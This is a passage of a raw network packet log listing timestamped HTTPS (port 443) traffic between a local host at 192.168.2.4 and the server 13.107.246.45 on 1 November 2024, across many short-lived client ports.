Nov 1, 2024 03:46:17.917851925 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.917859077 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.245235920 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.245815992 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.245840073 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.246370077 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.246376038 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.250291109 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.250574112 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.250588894 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.250946999 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.250952005 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.300987005 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.301620960 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.301632881 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.302057028 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.302061081 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.363338947 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.363843918 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.363919020 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.364383936 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.364399910 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.379190922 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.379230976 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.380157948 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.380383968 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.380399942 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.380410910 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.380415916 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.382972956 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.382999897 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.383018970 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.383070946 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.383224010 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.383233070 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.383243084 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.383248091 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.385106087 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385163069 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.385266066 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385283947 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.385339022 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385353088 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385485888 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385514975 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.385539055 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.385546923 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.438982010 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.439124107 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.442080975 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.442325115 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.442337990 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.442348957 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.442353964 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.445780993 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.445815086 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.446050882 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.446190119 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.446204901 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.492748022 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.492821932 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.494045019 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.495157003 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.495157003 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.495187044 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.495212078 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.497306108 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.497319937 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.498051882 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.498171091 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.498183012 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.646545887 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.647798061 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.647818089 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.648747921 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.648753881 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.916718960 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.916804075 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.916857004 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.917332888 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.917346001 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.917356014 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.917361021 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.946372032 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.946413994 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:18.946479082 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.958143950 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:18.958157063 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.109321117 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.110723972 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.110747099 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.111622095 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.111627102 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.130002975 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.130516052 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.130548000 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.131051064 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.131067038 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.217569113 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.218172073 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.218182087 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.218686104 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.218691111 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.227264881 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.227727890 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.227751017 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.228177071 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.228182077 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.236989975 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.237014055 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.237050056 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.237063885 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.237111092 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.237391949 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.237406015 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.237416029 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.237420082 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.240876913 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.240916967 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.240988016 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.241127968 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.241141081 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.261957884 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.262021065 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.262079000 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.262254000 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.262284994 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.262310028 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.262326002 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.265263081 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.265306950 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.265372038 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.265546083 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.265562057 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.344906092 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.344991922 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.345046043 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.345232964 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.345238924 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.345254898 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.345257998 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.348570108 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.348594904 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.348666906 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.348850965 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.348862886 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.364146948 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.364304066 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.364365101 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.364424944 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.364438057 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.364447117 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.364451885 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.367161989 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.367192030 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.367253065 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.367429972 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.367445946 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.722512960 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.723115921 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.723139048 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.723671913 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.723678112 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.858726025 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.858757973 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.858808994 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.858820915 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.858869076 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.859139919 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.859155893 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.859164953 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.859170914 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.862520933 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.862545967 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.862651110 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.862801075 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.862813950 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.969934940 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.970659018 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.970678091 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:19.971198082 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:19.971203089 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.005774021 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.006537914 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.006556034 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.007023096 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.007029057 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.087455988 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.088155985 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.088169098 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.088704109 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.088709116 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.099390030 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.099447012 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.099678993 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.099726915 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.099736929 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.099751949 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.099756956 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.102988005 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.103024960 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.103293896 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.103446960 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.103462934 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.126110077 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.126622915 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.126636028 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.127093077 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.127099991 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.136676073 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.136719942 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.136907101 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.136962891 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.136979103 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.136989117 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.136995077 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.139564037 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.139585972 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.139702082 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.139821053 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.139831066 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.217880011 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.218024015 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.218100071 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.218391895 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.218400955 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.218411922 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.218415976 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.221549988 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.221571922 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.221677065 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.221901894 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.221914053 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.258991003 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.259056091 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.259147882 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.259150982 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.259202003 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.259596109 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.259608984 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.259635925 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.259640932 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.262559891 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.262589931 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.262767076 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.263139963 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.263151884 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.598007917 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.598634005 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.598644018 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.599200964 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.599205971 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.727957964 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.728027105 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.728286982 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.728353024 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.728364944 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.728411913 CET	49884	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.728416920 CET	443	49884	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.731359959 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.731420040 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.731503010 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.731671095 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.731702089 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.842206001 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.842644930 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.842662096 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.843133926 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.843139887 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.865072012 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.865552902 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.865561008 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.866020918 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.866024971 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.949053049 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.949647903 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.949660063 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.950226068 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.950229883 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.973213911 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.973237991 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.973278999 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.973304987 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.973344088 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.973581076 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.973601103 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.973611116 CET	49885	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.973615885 CET	443	49885	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.977044106 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.977075100 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.977240086 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.977395058 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.977406025 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.994100094 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.994157076 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.994282961 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.994417906 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.994432926 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.994442940 CET	49886	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.994447947 CET	443	49886	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.997725964 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.997805119 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:20.998003960 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.998173952 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:20.998209000 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.034353971 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.034804106 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.034813881 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.035267115 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.035270929 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.079339981 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.079370022 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.079413891 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.079433918 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.079478979 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.079688072 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.079708099 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.079720974 CET	49887	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.079725981 CET	443	49887	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.082735062 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.082760096 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.082818031 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.082966089 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.082978964 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.370064020 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.370127916 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.370177984 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.370510101 CET	49888	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.370522022 CET	443	49888	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.374495983 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.374538898 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.374608040 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.374968052 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.374984980 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.501008034 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.501543045 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.501601934 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.502047062 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.502060890 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.632925034 CET	443	49889	13.107.246.45	192.168.2.4
